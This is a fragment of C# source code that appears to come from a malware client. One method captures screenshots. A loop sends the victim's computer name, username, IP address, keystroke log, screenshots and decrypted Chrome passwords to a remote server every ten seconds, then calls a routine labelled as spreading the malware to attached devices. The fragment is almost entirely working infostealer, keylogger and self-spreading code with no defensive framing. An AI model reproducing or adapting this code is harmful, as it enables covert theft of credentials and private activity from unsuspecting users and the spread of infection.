public static string getScreenShotAsB64() { string base64pic = string.Empty; try { ScreenshotCapture.takeScreenshot(); MemoryStream ms = new MemoryStream(); Image screenshot = new Bitmap(screenshotPath); screenshot.Save(ms, screenshot.RawFormat); base64pic = Convert.ToBase64String(ms.ToArray()); } catch (Exception ex) { ErrorHandler.errorRaised(ex); } return(base64pic); }
private void communicationLoop() { while (this.isCommunicating) { // Every 10 seconds Thread.Sleep(10000); // Sends Computer name Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_COMPUTER_NAME + ComputerInformations.getComputerName()); // Sends Username Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_USERNAME + ComputerInformations.getUsername()); // Sends IP Address Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_IP_ADDRESS + ComputerInformations.getPublicIP()); // Sends Installation path Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_INSTALLATION_PATH + ComputerInformations.getApplicationPath()); // Sends Is Installed Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_INSTALLED + ComputerInformations.isInstalled()); // Sends Startup Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_AUTORUN + ComputerInformations.isStartup()); // Sends Running Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_RUNNING + ComputerInformations.isRunning()); // Sends Error raised Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_ERROR + ErrorHandler.getError()); // Sends Keyboard Log string keyboardLog = KeyboardLogHandler.getKeyboardLog(); if (keyboardLog != string.Empty) { try { Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_KEYSTROKES + keyboardLog); KeyboardLogHandler.resetLog(); } catch (Exception ex) { ErrorHandler.errorRaised(ex); } } // Sends screenshot Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_SCREENSHOT + ScreenshotCapture.getScreenShotAsB64()); // Sends passwords Network.httpPost(ServerConfiguration.SERVER_ADDRESS, ServerConfiguration.POST_PASSWORD + new ChromePasswordDecryptor().readDataFromDatabase()); // Spreding malware Spreading.attachToDevices(); } }